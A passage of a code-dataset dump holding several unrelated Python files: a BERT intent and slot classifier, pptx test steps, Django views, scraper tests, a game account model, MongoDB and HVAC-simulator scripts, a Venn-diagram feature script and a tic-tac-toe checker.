here\n\n outputs = (total_loss,) + outputs\n\n return outputs # (loss), logits, (hidden_states), (attentions) # Logits is a tuple of intent and slot logits\n\n\nclass IntentClassifier(nn.Module):\n def __init__(self, input_dim, num_intent_labels, dropout_rate=0.):\n super(IntentClassifier, self).__init__()\n self.dropout = nn.Dropout(dropout_rate)\n self.linear = nn.Linear(input_dim, num_intent_labels)\n\n def forward(self, x):\n x = self.dropout(x)\n return self.linear(x)\n\n\nclass SlotClassifier(nn.Module):\n def __init__(self, input_dim, num_slot_labels, dropout_rate=0.):\n super(SlotClassifier, self).__init__()\n self.dropout = nn.Dropout(dropout_rate)\n self.linear = nn.Linear(input_dim, num_slot_labels)\n\n def forward(self, x):\n x = self.dropout(x)\n return self.linear(x)\n\ndef get_intent_labels(args):\n return [label.strip() for label in open(os.path.join(args.data_dir, args.task, args.intent_label_file), 'r', encoding='utf-8')]\n\n\ndef get_slot_labels(args):\n return [label.strip() for label in open(os.path.join(args.data_dir, args.task, args.slot_label_file), 'r', encoding='utf-8')]","sub_path":"agents/bert/joint_bert/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"528713247","text":"# encoding: utf-8\n\n\"\"\"\nGherkin step implementations for placeholder-related features.\n\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom behave import given, when, then\nfrom hamcrest import assert_that, equal_to, is_\n\nfrom pptx import Presentation\n\nfrom .helpers import saved_pptx_path, test_text, test_pptx\n\ntable_placeholder_pptx_path = test_pptx('table-placeholder')\n\n# given ===================================================\n\n@given('a bullet body placeholder')\ndef given_a_bullet_body_placeholder(context):\n context.prs = Presentation()\n slidelayout = context.prs.slidelayouts[1]\n context.sld = context.prs.slides.add_slide(slidelayout)\n context.body = context.sld.shapes.placeholders[1]\n\n@given('I have a reference to a slide with a table placeholder')\ndef step_given_ref_to_table_slide(context):\n context.prs = Presentation(table_placeholder_pptx_path)\n slidelayout = context.prs.slidelayouts[1]\n context.sld = context.prs.slides.add_slide(slidelayout)\n\n@given('a table placeholder shape')\ndef step_given_table_placeholder_shape(context):\n context.shp = context.sld.shapes.placeholders[1]\n\n# when ====================================================\n\n@when('I indent the first paragraph')\ndef step_when_indent_first_paragraph(context):\n context.body.textframe.paragraphs[0].level = 1\n\n\n@when(\"I set the title text of the slide\")\ndef step_when_set_slide_title_text(context):\n context.sld.shapes.title.text = test_text\n\n@when('I insert a table into the placeholder')\ndef step_when_insert_table(context):\n context.tbl = context.shp.insert_table(3,5)\n\n# then ====================================================\n\n@then('the paragraph is indented')\ndef then_paragraph_is_indented(context):\n prs = Presentation(saved_pptx_path)\n sld = prs.slides[0]\n body = sld.shapes.placeholders[1]\n p = body.textframe.paragraphs[0]\n assert_that(p.level, is_(equal_to(1)))\n\n\n@then('the text appears in the title placeholder')\ndef step_then_text_appears_in_title_placeholder(context):\n prs = Presentation(saved_pptx_path)\n title_shape = prs.slides[0].shapes.title\n title_text = title_shape.textframe.paragraphs[0].runs[0].text\n assert_that(title_text, is_(equal_to(test_text)))\n","sub_path":"features/steps/placeholder.py","file_name":"placeholder.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"398875356","text":"from django.shortcuts import render\nfrom django.views.generic import CreateView, DetailView, ListView\nfrom .models import Pcgame\nfrom .forms import PcgameForm\nfrom django.urls import reverse_lazy\nfrom django.http import HttpResponseRedirect\nimport random\n\n\nclass DetailView(DetailView):\n model = Pcgame\n context_object_name = \"pcgame\"\n template_name = \"pcgames/detail.html\"\n\n def get_context_data(self, **kwargs):\n \"\"\"Insert the single object into the context dict.\"\"\"\n context = {}\n if self.object:\n context[\"object\"] = self.object\n context_object_name = self.get_context_object_name(self.object)\n if context_object_name:\n context[context_object_name] = self.object\n context.update(kwargs)\n return super().get_context_data(**context)\n\n\ndetail = DetailView.as_view()\n\n\nclass ListView(ListView):\n model = Pcgame\n context_object_name = \"pcgames\"\n template_name = \"pcgames/list.html\"\n\n\nlist = ListView.as_view()\n\n\nclass CreateView(CreateView):\n model = Pcgame\n form_class = PcgameForm\n template_name = \"pcgames/create.html\"\n success_url = reverse_lazy(\"pcgames:status\")\n\n def form_valid(self, form):\n pc_random = random.randint(1, 3)\n form.instance.computer_choice_id = pc_random\n form.instance.winner = self.get_winner(form.instance.human_choice_id, pc_random)\n print(\n form.instance.computer_choice_id,\n form.instance.human_choice_id,\n form.instance.winner,\n form.instance\n )\n # self.object = form.save()\n return super().form_valid(form)\n # return HttpResponseRedirect(super().get_success_url())\n\n\n # https://docs.djangoproject.com/en/3.0/topics/class-based-views/generic-editing/\n\n def get_winner(self, human_choice, computer_choice):\n delta = human_choice - computer_choice\n if delta == 1 or delta == -2:\n return True\n elif delta == 0:\n return None\n else:\n return False\n\n\ncreate = CreateView.as_view()\n","sub_path":"pcgames/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"117100941","text":"from os import path\n\nfrom manga.manga import MangaScraper, Chapter\nfrom manga.constants import Sources\nfrom pathlib import Path\n\n\nclass TestManga:\n def test_find_chapters_leviathanscans(self):\n markup = Path(path.join(path.dirname(__file__), \"../resources/leviatan_item.html\")).read_text(encoding=\"utf-8\")\n\n manga = MangaScraper(markup, Sources.LEVIATANSCANS)\n chapters = manga.chapters\n chapter = chapters[0]\n\n assert len(chapters) == 5\n assert chapter.uid == '4'\n assert chapter.url == 'https://leviatanscans.com/comics/11268-survival-story-of-a-sword-king-in-a-fantasy-world/1/4'\n assert chapter.title == 'Chapter 4'\n\n def test_find_chapters_mangakakalot(self):\n markup = Path(path.join(path.dirname(__file__), '../resources/manga_item.html')).read_text(encoding='utf-8')\n\n manga = MangaScraper(markup, Sources.MANGAKAKALOT)\n chapters = manga.chapters\n chapter = chapters[0]\n\n assert len(chapters) == 71\n assert chapter.uid == '71'\n assert chapter.url == 'https://mangakakalot.com/chapter/rx919523/chapter_71'\n assert chapter.title == 'Chapter 71'\n\n def test_replace_chapter(self):\n markup = Path(path.join(path.dirname(__file__), '../resources/manga_item.html')).read_text(encoding='utf-8')\n\n manga = MangaScraper(markup, Sources.MANGAKAKALOT)\n manga.update(manga.chapters[0], Chapter('New', 'New', 'New'))\n chapter = manga.chapters[0]\n\n assert chapter.uid == 'New'\n assert chapter.url == 'New'\n assert chapter.title == 'New'\n\n def test_find_chapter_images(self):\n item_markup = Path(path.join(path.dirname(__file__), '../resources/manga_item.html')).read_text(encoding='utf-8')\n item_content_markup = Path(path.join(path.dirname(__file__), '../resources/manga_item_content.html')).read_text(encoding='utf-8')\n\n manga = MangaScraper(item_markup, Sources.MANGAKAKALOT)\n updated_chapter = manga.find_images(item_content_markup, manga.chapters[0])\n\n assert len(updated_chapter.images) == 8\n assert updated_chapter.images[0] == 'https://s8.mkklcdnv8.com/mangakakalot/r2/rx919523/chapter_71/1.jpg'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"test/manga/test_manga.py","file_name":"test_manga.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"634927621","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time: 2020/1/17 14:55\n\n\nfrom rklib.model import BaseModel\nfrom apps.common.project_const import const\nfrom apps.logics.utils.time_handler import get_current_time, check_same_day\n\n\nclass AccountLoginCheck(BaseModel):\n \"\"\"\n Attributes:\n openid: 平台id\n \"\"\"\n def __init__(self, openid=None):\n BaseModel.__init__(self)\n\n self.openid = openid\n self.openkey = None\n self.channel_id = 0\n self.os_type = None\n self.platform_id = None\n self.app_version = None\n self.build_version = None\n self.res_version = None\n self.uid = None\n self.age_stage = 0\n self.istourist = 0\n self.enter_game = 0 # 游客一辈子只能登录一次 0 | 1\n self.refresh_play_time = None # 每天刷新玩家的游戏时长\n self.play_time = 0 # 未成年玩游戏的时间 秒数\n self.refresh_week_time = None # 每周刷新未成年充值金额\n self.recharge_week_money = 0 # 每周未成年充值金额\n self.refresh_month_time = None # 每月刷新未成年充值金额\n self.recharge_month_money = 0 # 每月未成年充值金额\n\n @classmethod\n def _install(cls, openid, openkey, channel_id, os_type, platform_id, app_version, build_version, res_version, uid, age, istourist):\n '''\n 初始化信息\n :param openid:\n :param openkey:\n :param channel_id:\n :param os_type:\n :param platform_id:\n :param app_version:\n :param build_version:\n :param res_version:\n :param uid:\n :param age:\n :param istourist:\n :return:\n '''\n account_login_check = cls()\n account_login_check.openid = openid\n account_login_check.openkey = openkey\n account_login_check.channel_id = channel_id # 渠道id(string)\n account_login_check.os_type = os_type # 设备类型(string)\n account_login_check.platform_id = platform_id # 平台id(string)\n account_login_check.app_version = app_version # 客户端app版本号(string)\n account_login_check.build_version = build_version # svn版本号(string)\n account_login_check.res_version = res_version # 资源版本号(string)\n account_login_check.uid = uid # uid(string) AccountId\n account_login_check.age_stage = age # age:年龄段(int) # 防沉迷值. 18:成年, 16: 16~18岁, 8: 8~16岁, 0: 0~8岁 -1: 未成年,\n account_login_check.istourist = istourist # istourist :是否是游客(int) # -2:未实名\n account_login_check.enter_game = 0\n account_login_check.refresh_play_time = get_current_time()\n account_login_check.play_time = 0\n account_login_check.refresh_week_time = get_current_time()\n account_login_check.recharge_week_money = 0\n account_login_check.refresh_month_time = get_current_time()\n account_login_check.recharge_month_money = 0\n account_login_check.put()\n return account_login_check\n\n def login_info(self, openkey, channel_id, os_type, platform_id, app_version, build_version, res_version, uid, age, istourist):\n '''\n 修改登录信息\n :param openkey:\n :param channel_id:\n :param os_type:\n :param platform_id:\n :param app_version:\n :param build_version:\n :param res_version:\n :param uid:\n :param age:\n :param istourist:\n :return:\n '''\n self.openkey = openkey\n self.channel_id = channel_id\n self.os_type = os_type\n self.platform_id = platform_id\n self.app_version = app_version\n self.build_version = build_version\n self.res_version = res_version\n self.uid = uid\n self.age = age\n self.istourist = istourist\n self.put()\n return\n\n def refresh_data(self):\n '''\n 刷新每天、每周、每月的数据\n :return:\n '''\n flag = False\n if not check_same_day(self.refresh_play_time): # 每天玩游戏的时间\n self.refresh_play_time = get_current_time()\n self.play_time = 0\n flag = True\n if 1: # 每周玩家充值的钱数\n self.recharge_week_money = 0\n flag = True\n if 1: # 每月玩家充值的钱数\n self.recharge_month_money = 0\n flag = True\n if flag:\n self.put()\n\n def modify_enter_game(self, enter_game, is_put=False):\n '''\n 修改游客是否玩过本游戏\n :param enter_game:\n :return:\n '''\n if self.istourist == -2 and self.enter_game == 0:\n self.enter_game = enter_game\n if is_put:\n self.put()\n\n def modify_play_time(self, play_time, add=True, is_put=False):\n '''\n 统计未成年玩家玩游戏的时长\n :param play_time:\n :param add:\n :param is_put:\n :return:\n '''\n if self.age_stage < const.PLAY_AGE_STAGE[0]:\n if add:\n self.play_time += play_time\n else:\n self.play_time -= play_time\n if is_put:\n self.put()\n\n def modify_recharge_money(self, add_money, add=True, is_put=False):\n '''\n 统计未成年玩家充值的金额\n :param add_money:\n :param add:\n :param is_put:\n :return:\n '''\n if self.recharge_week_money < const.RECHARGE_LIMIT[self.age_stage][0] and \\\n self.recharge_month_money < const.RECHARGE_LIMIT[self.age_stage][1]:\n if add:\n self.recharge_week_money += add_money\n self.recharge_month_money += add_money\n else:\n self.recharge_week_money -= add_money\n self.recharge_month_money -= add_money\n if is_put:\n self.put()","sub_path":"mini_demo/apps/models/account_login_check.py","file_name":"account_login_check.py","file_ext":"py","file_size_in_byte":6172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"311520755","text":"from pymongo import MongoClient\nimport pandas as pd\nfrom datetime import datetime\nimport numpy as np\n\n\nif __name__ == '__main__':\n photo_databases = ['football_photos_db', 'kyiv_2015_home_photos', 'spartak_2015_home_normal_photos',\n 'zenit_2015_home_normal_photos']\n emotions_databases = ['ms_football_emotions', 'ms_kyiv_2015_home_emotions', 'ms_spartak_2015_home_normal_emotions',\n 'ms_zenit_2015_home_normal_emotions']\n\n client = MongoClient()\n\n for db_name in photo_databases:\n db = client[db_name]\n if db_name == 'football_photos_db':\n collections = ['kyiv_20_10', 'kyiv_26_02', 'kyiv_4_06', 'spartak_17_05', 'spartak_30_05',\n 'zenit_11_05', 'zenit_17_05', 'zenit_21_11']\n elif db_name == 'kyiv_2015_home_photos':\n collections = ['kyiv_Alexandria_Alexandria', 'kyiv_Chernomorets_Odessa',\n 'kyiv_Goverla_Goverla', 'kyiv_Karpaty_Lvov', 'kyiv_Makkaby_Tel-Aviv',\n 'kyiv_Metallist_Kharkov',\n 'kyiv_Obolon_Brovar', 'kyiv_Olympic_Donetsk', 'kyiv_Porto_Porto', 'kyiv_Shakter_Donetsk',\n 'kyiv_Stal_Stal']\n elif db_name == 'spartak_2015_home_normal_photos':\n collections = ['spartak_Anzhy_Mahachkala', 'spartak_CSKA_Moscow', 'spartak_Krasnodar_Krasnodar',\n 'spartak_Krilya_Sovetov_Samara', 'spartak_Lokomotiv_Moscow', 'spartak_Rostov_Rostov_on_Don',\n 'spartak_Rubin_Kazan', 'spartak_Ufa_Ufa', 'spartak_Ural_Ekaterinburg', 'spartak_Zenit_SPb']\n else:\n collections = ['zenit_Amkar_Perm', 'zenit_Anzhy_Mahachkala', 'zenit_Dinamo_Mocow', 'zenit_Gent_Gent',\n 'zenit_Krasnodar_Krasnodar', 'zenit_Krilya_Sovetov_Samara', 'zenit_Lion_Lion',\n 'zenit_Lokomotiv_Mocow',\n 'zenit_Mordovia_Saransk', 'zenit_Rostov_Rostov_on_Don', 'zenit_Terek_Grozniy',\n 'zenit_Tosno_Tosno',\n 'zenit_Ufa_Ufa', 'zenit_Valensia_Valensia']\n\n for collection_name in collections:\n collection = db[collection_name]\n df = pd.DataFrame(list(collection.find()))\n list_of_times = df['created_time'].get_values()\n list_of_ids = df['id'].get_values()\n i = 0\n for created_time in list_of_times:\n ts = (created_time - np.datetime64('1970-01-01T00:00:00Z')) / np.timedelta64(1, 's')\n match_time = datetime.utcfromtimestamp(ts).time()\n collection.find_one_and_update({'id': list_of_ids[i]}, {'$set': {'photo_time': str(match_time)}})\n i += 1","sub_path":"AddTime.py","file_name":"AddTime.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"583817498","text":"import argparse\nimport requests\nimport datetime\nimport dateutil.parser as dp\nfrom uuid import uuid4\nimport json\nfrom random import random\n\n\ndef convert_to_epoch_time(isotime):\n t = isotime\n parsed_t = dp.parse(t)\n t_in_seconds = parsed_t.strftime('%s')\n return int(t_in_seconds)\n\ndef convert_to_iso_time(epochtime):\n return datetime.datetime.fromtimestamp(epochtime).astimezone().isoformat()\n\n\ndef generate_common_data(args):\n\n \n power = int(args.power)\n power_rand_factor = power / 40\n\n ret = {\n \"topic\":f'company/hvac/things/{args.thing_no}',\n \"payload\": {\n \"UUID\": str(uuid4()),\n \"type\": \"hvac\",\n \"deviceId\": args.thing_no,\n \"dateTime\": convert_to_iso_time(epochtime + i * int(args.interval) * 60),\n \"customer\": args.customer,\n \"branch\": args.branch,\n \"power_consumption\": int(args.power) + (random() * power_rand_factor * 2) - power_rand_factor,\n \"geoLocation\": {\n \"lat\":args.lat,\n \"lon\":args.lon\n },\n \"targetValue\": {\n \"status\": args.target_status,\n \"temperature\": float(args.target_temp),\n \"humidity\": float(args.target_hum)\n }\n }\n }\n return ret\n\ndef add_constant_data(data, args):\n sensor_value = {\n \"temperature\": float(args.sensor_temp),\n \"humidity\": float(args.sensor_hum)\n }\n\n data['payload']['sensorValue'] = sensor_value\n\ndef add_random_data(data, args):\n targetHumidity = float(args.target_hum)\n sensorHumidity = float(args.sensor_hum)\n targetTemperature = float(args.target_temp)\n sensorTemperature = float(args.sensor_temp)\n\n gapHumidity = abs(targetHumidity - sensorHumidity)\n gapTemperature = abs(targetTemperature - sensorTemperature)\n\n random_factor = int(args.random_factor)\n\n sensor_value = {\n \"temperature\": float(args.target_temp) + int(random() * random_factor * 2) - random_factor,\n \"humidity\": float(args.target_hum) + int(random() * random_factor * 2) - random_factor\n }\n data['payload']['sensorValue'] = sensor_value\n\ndef add_increase_data(data, i, args):\n targetCount = int(args.count) - 1\n if targetCount == 0:\n targetCount = 1\n targetHumidity = float(args.target_hum)\n sensorHumidity = float(args.sensor_hum)\n targetTemperature = float(args.target_temp)\n sensorTemperature = float(args.sensor_temp)\n\n sensor_value = {\n \"temperature\": sensorTemperature + (targetTemperature - sensorTemperature) * i / targetCount,\n \"humidity\": sensorHumidity + (targetHumidity - sensorHumidity) * i / targetCount,\n }\n data['payload']['sensorValue'] = sensor_value\n\ndef add_decrease_data(data, i, args):\n targetCount = int(args.count) - 1\n if targetCount == 0:\n targetCount = 1\n targetHumidity = float(args.target_hum)\n sensorHumidity = float(args.sensor_hum)\n targetTemperature = float(args.target_temp)\n sensorTemperature = float(args.sensor_temp)\n\n sensor_value = {\n \"temperature\": targetTemperature - (targetTemperature - sensorTemperature) * i / targetCount,\n \"humidity\": targetHumidity - (targetHumidity - sensorHumidity) * i / targetCount,\n }\n body['payload']['sensorValue'] = sensor_value\n\n\ndef generate_data(i, args):\n data = generate_common_data(args)\n if args.pattern == 'constant':\n add_constant_data(data, args)\n if args.pattern == 'random':\n add_random_data(data, args)\n if args.pattern == 'increase':\n add_increase_data(data, i, args)\n if args.pattern == 'decrease':\n add_decrease_data(data, i, args)\n return data\n\ndef add_plugin(body, recent_body):\n diffTemperature = abs(body['payload']['targetValue']['temperature'] - body['payload']['sensorValue']['temperature'])\n diffHumidity = abs(body['payload']['targetValue']['humidity'] - body['payload']['sensorValue']['humidity'])\n \n temperature_threshold = 2\n humidity_threshold = 5\n symtom_duration_min_threshold = 30\n\n if recent_body != {} and (diffTemperature >= temperature_threshold or diffHumidity >= humidity_threshold):\n recent_plugin = recent_body['payload'].get('plugin', None)\n symtom_start = recent_plugin.get('symtomStart', \"\") if recent_plugin is not None else \"\"\n symtom_start_millis = convert_to_epoch_time(symtom_start) if symtom_start != \"\" else None\n cur_millis = convert_to_epoch_time(body['payload']['dateTime'])\n symtom_duration_min = (cur_millis - symtom_start_millis) / 60 if symtom_start_millis is not None else 0\n symtom = 1 if symtom_duration_min >= symtom_duration_min_threshold else 0\n else:\n symtom = 0\n symtom_start = \"\"\n\n plugin = {\n 'diffTemperature': diffTemperature,\n 'diffHumidity': diffHumidity,\n 'symtom': symtom,\n 'symtomStart': symtom_start if symtom_start != \"\" else body['payload']['dateTime']\n }\n\n body['payload']['plugin'] = plugin\n\n\n\n\n\"\"\"How to use\n\n$ python3 simulator.py --topic company/hvac/things/ --thing-no 1 --start 2021-03-04T10:23:52+09:00 --count 100 --interval 10 --target-status cold --target-temp 23.0 --target-hum 69.0 --sensor-temp 22.5 --sensor-hum 68.0 --pattern random --random-factor 1\n\nThis will generate 100 payloads with specified values of 10 minutes intervals from 2021-03-04T10:23:52+09:00 and publish the payloads to the company/hvac/things/1 topic\n\n\"\"\"\n\n\nparser = argparse.ArgumentParser(description=\"Simulator\")\n\nparser.add_argument('--topic', default=\"company/hvac/things/\", help=\"publish topic\")\nparser.add_argument('--thing-no', required=True, help=\"Thing number\")\nparser.add_argument('--start', default=datetime.datetime.now().astimezone().replace(microsecond=0).isoformat(), help=\"from ISO time. i.e), 2021-03-04T10:23:52+09:00\")\nparser.add_argument('--count', default=1000, help=\"The number of payload generated. default: 1000\")\nparser.add_argument('--interval', default=1, help=\"The interval of each generated payload. default: 1 minute\")\nparser.add_argument('--target-status', default=\"cold\", help=\"Target Status\")\nparser.add_argument('--target-temp', default=25.0, help=\"Target temperature\")\nparser.add_argument('--target-hum', default=70.0, help=\"Target humidity\")\nparser.add_argument('--sensor-temp', default=24.0, help=\"Target temperature\")\nparser.add_argument('--sensor-hum', default=69.0, help=\"Target humidity\")\nparser.add_argument('--pattern', default='constant', help=\"Random generated pattern. options: constant | random | increase | decrease\")\nparser.add_argument('--random-factor', default=1, help=\"Random factor\")\nparser.add_argument('--customer', required=True, help=\"customer name\")\nparser.add_argument('--branch', required=True, help=\"branch name\")\nparser.add_argument('--lat', required=True, help=\"latitude\")\nparser.add_argument('--lon', required=True, help=\"longitude\")\nparser.add_argument('--power', default=180, help=\"power consumption\")\n\n\n# Using globals to simplify sample code\nargs = parser.parse_args()\n\nprint(args)\n\n\"\"\"\nbody = {\n\t\"topic\":\"company/hvac/things/1\",\n\t\"payload\": {\n \"UUID\": \"30819289-300a-4e49-a475-e33785e818da\",\n \"type\": \"hvac\",\n \"deviceId\": \"1\",\n \"dateTime\": \"2021-03-04T10:23:52+09:00\",\n\t\t\"targetValue\": {\n\t\t\t\"status\": \"cold\",\n\t\t\t\"temperature\": 23.0,\n\t\t\t\"humidity\": 50.0\n\t\t},\n \"sensorValue\": {\n \"temperature\": 23.0,\n \"humidity\": 45.5\n },\n\n \"plugin\": {\n \"symtom\": 0,\n \"symtomStart\": \"2021-03-04T10:00:52+09:00\",\n \"diffTemperature\":1.2,\n \"diffHumidity\":0.5\n }\n }\n}\n\"\"\"\n\nepochtime = convert_to_epoch_time(args.start)\nURL = 'http://127.0.0.1:5000/publish'\n\nrecent_body = {}\n\nfor i in range(0, int(args.count)):\n body = generate_data(i, args)\n add_plugin(body, recent_body)\n recent_body = body\n\n requests.post(URL, json=body)\n print(body)\n","sub_path":"simulator/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":8043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"330599966","text":"# File created by Miyuraj Harishchandra Hikkaduwa Withanage\nfrom matplotlib import pyplot as plt\nfrom matplotlib_venn import venn2\nimport pandas as pd\nfrom os import getcwd,chdir\nfrom glob import glob\nfrom itertools import combinations\nimport sys\n\n\n\n\n# thre cutoff needs to be the same value\n\nprint(\"Venn Diagram Creation and Feature Aggregate Creation Started.\")\n#default_val = sys.argv[1]\ndefault_val = 30\n# The argument is taken as string\n# it needs to be converted to integer to be used as a slicing cutoff\ncutoff = int(default_val)\nprint(\"You assigned top \" +str(default_val) +\" features to be investigated.\")\n#print(\"To change this setting, change the default_val variable in the script of ./pipe_step_3_FAggregation/pipe_step_3_make_venn/create_venn.py\")\n\nInformation_Gain = pd.read_csv('../pipe_step_3_Fselected_input/Information_Gain.csv')\nCorrelation = pd.read_csv('../pipe_step_3_Fselected_input/Correlation.csv')\nInformation_Gain_ratio = pd.read_csv('../pipe_step_3_Fselected_input/Information_Gain_Ratio.csv')\nRelief = pd.read_csv('../pipe_step_3_Fselected_input/Relief.csv')\nSymmetrical_Uncertainity = pd.read_csv('../pipe_step_3_Fselected_input/Symmetrical_Uncertainity.csv')\n\n\n\n\n# get header names without the class label\n# and they need to be sets\nInformation_Gain_List=set(Information_Gain.columns.values[0:cutoff])\nCorrelation_List=set(Correlation.columns.values[0:cutoff])\nInformation_Gain_ratio_List=set(Information_Gain_ratio.columns.values[0:cutoff])\nRelief_List=set(Relief.columns.values[0:cutoff])\nInformation_Gain_ratio_List=set(Information_Gain_ratio.columns.values[0:cutoff])\nSymmetrical_Uncertainity_List=set(Symmetrical_Uncertainity.columns.values[0:cutoff])\n#print(Symmetrical_Uncertainity_List)\n\n# Information_Gain_List=set(Information_Gain.columns.values[0:Information_Gain.shape[1]-1])\n# Correlation_List=set(Correlation.columns.values[0:Correlation.shape[1]-1])\n# Information_Gain_ratio_List=set(Information_Gain_ratio.columns.values[0:Information_Gain_ratio.shape[1]-1])\n# Relief_List=set(Relief.columns.values[0:Relief.shape[1]-1])\n# Information_Gain_ratio_List=set(Information_Gain_ratio.columns.values[0:Information_Gain_ratio.shape[1]-1])\n# Symmetrical_Uncertainity_List=set(Symmetrical_Uncertainity.columns.values[0:Symmetrical_Uncertainity.shape[1]-1])\n# ##print(Correlation.columns.values[0:Correlation.shape[1]-1])\n##print(Information_Gain_ratio.columns.values[0:Information_Gain_ratio.shape[1]-1])\n\n# dictionary is needed for venn diagram creation\nvenn_dictionary = dict()\nvenn_dictionary[\"Information_Gain\"] = Information_Gain_List\n#print(\"informationGain: \"+ str(Information_Gain_List))\nvenn_dictionary[\"Correlation\"] = Correlation_List\n#print(\"Correlation: \"+ str(Correlation_List))\nvenn_dictionary[\"Information_Gain_ratio\"] = Information_Gain_ratio_List\n#print(\"Information_Gain_ratio: \"+ str(Information_Gain_ratio_List))\nvenn_dictionary[\"Relief\"] = Relief_List\n#print(\"Relief: \"+ str(Relief_List))\nvenn_dictionary[\"Symmetrical_Uncertainity\"] = Symmetrical_Uncertainity_List\n#print(\"Symmetrical_Uncertainity: \"+ str(Symmetrical_Uncertainity_List))\n\n#venn2([set(['A', 'B', 'C', 'D']), set(['D', 'E', 'F'])])\n##print(venn_dictionary)\n# shows all possible combinations of intersections\nsets=[Information_Gain_List,Correlation_List,Information_Gain_ratio_List,Relief_List,Symmetrical_Uncertainity_List]\n#print(sets)\nfrom venn import venn\nimport pandas as pd\nf_arrangement_file = open(\"./output_vennDiagram/feature_set_arrangement.txt\", \"a\")\nfor comboSize in range(1,len(sets)+1):\n ##print(\"combosize is \"+str(comboSize))\n tempset = list()\n unitedtempset = list()\n for combo in combinations(range(len(sets)),comboSize):\n intersection = sets[combo[0]]\n for i in combo[1:]: intersection = intersection & sets[i]\n statement =\" and \".join(f\"Set{i+1}\" for i in combo),\"=\",intersection\n #print(statement)\n #f_arrangement_file.write(statement)\n f_arrangement_file.write(' '.join(str(s) for s in statement) + '\\n')\n ##print(\"====\")\n unitedtempset.append(list(intersection))\n #print(\"combosize is \" + str(comboSize))\n ##print(unitedtempset)\n # make a flat list from list of lists\n flat_list = [item for sublist in unitedtempset for item in sublist]\n ##print(flat_list)\n ##print(\"get only uniques of flat list\")\n flat_list_with_uniques=list(set(flat_list))\n #print(\"following is flat_list_with_uniques\")\n flat_list_with_uniques.append(\"class\")\n #print(flat_list_with_uniques)\n transposed = Information_Gain.T\n reversed = transposed.loc[flat_list_with_uniques].T\n #print(reversed)\n\n\n #need to transpose the list to be saved in csv file\n #df_list=pd.DataFrame(flat_list_with_uniques)\n ##print(df_list)\n reversed.to_csv(\"../pipe_step_3_make_aggregates/at_Least.%s.csv\" % comboSize, sep=',',index=False,header=True)\n\n#This was a very good example of dictionary of sets\n#this is what we need\n#musicians = {\n# \"Members of The Beatles\": {\"Paul McCartney\", \"John Lennon\", \"George Harrison\", \"Ringo Starr\"},\n# \"Guitarists\": {\"John Lennon\", \"George Harrison\", \"Jimi Hendrix\", \"Eric Clapton\", \"Carlos Santana\"},\n# \"Played at Woodstock\": {\"Jimi Hendrix\", \"Carlos Santana\", \"Keith Moon\"},\n# \"Played at hikka\": {\"miyu\", \"Carlos Santana\", \"Keith Moon\"},\n# \"Played at matara\": {\"miyu\", \"nadee\", \"Keith Moon\"}\n#}\n#print(venn_dictionary)\nvenn(venn_dictionary)\nplt.title('Venn Diagram - Top '+str(cutoff)+' Ranked Features')\nplt.savefig(\"./output_vennDiagram/VennDiragm.pdf\")\nprint(\"Venn Diagram Creation and Feature Aggregate Creation Complete.\")\nf_arrangement_file.close()\n#plt.show()\n","sub_path":"scripts/create_venn.py","file_name":"create_venn.py","file_ext":"py","file_size_in_byte":5638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"485917084","text":"import tensorflow as tf\n\nbatchsize = 64\n\nimage_var = tf.placeholder(tf.float32, [None, 224, 224, 3])\nlabel_var = tf.placeholder(tf.float32, [None ,10])\n\nplaceholders = [image_var, label_var]\n\nresults = [[(elm if elm is not None else batchsize) for elm in ph.get_shape().as_list()] for ph in placeholders]\nprint(results)\n\nprint([ph.get_shape().as_list() for ph in placeholders])\n\n","sub_path":"test/Test_placeholders.py","file_name":"Test_placeholders.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"94710189","text":"\n \n'''\nCreated on 25 сент. 2015 г.\n\n@author: karamin\n'''\ndef XOgame(data):\n rotated_data=list(zip(*data)) #rotated field\n if data[0][0]==data[1][1]==data[2][2]: #cheking diagonal \\\n if data[0][0]==\"X\": \n return('X')\n else:\n return('O')\n if data[0][2]==data[1][1]==data[2][0]: #cheking diagonal / \n if data[0][2]==\"X\": \n return('X')\n else:\n return('O') \n for row in data: #cheking row in original field\n if row[0]==row[2]==row[1]:\n if row[0]==\"X\":\n return('X')\n else:\n return('O')\n for rrow in rotated_data:\n if rrow[0]==rrow[1]==rrow[2]: #cheking row in rotated field\n if rrow[0]=='X':\n return('X')\n else: \n return('O')\n \n return('D') #if nothing suits so DRAW\n\n\nif __name__=='__main__':\n XOdata = [\"OOx\",\"XXO\",\"OXX\"] \n a = XOgame(XOdata)\n print(a)","sub_path":"XO2.py","file_name":"XO2.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
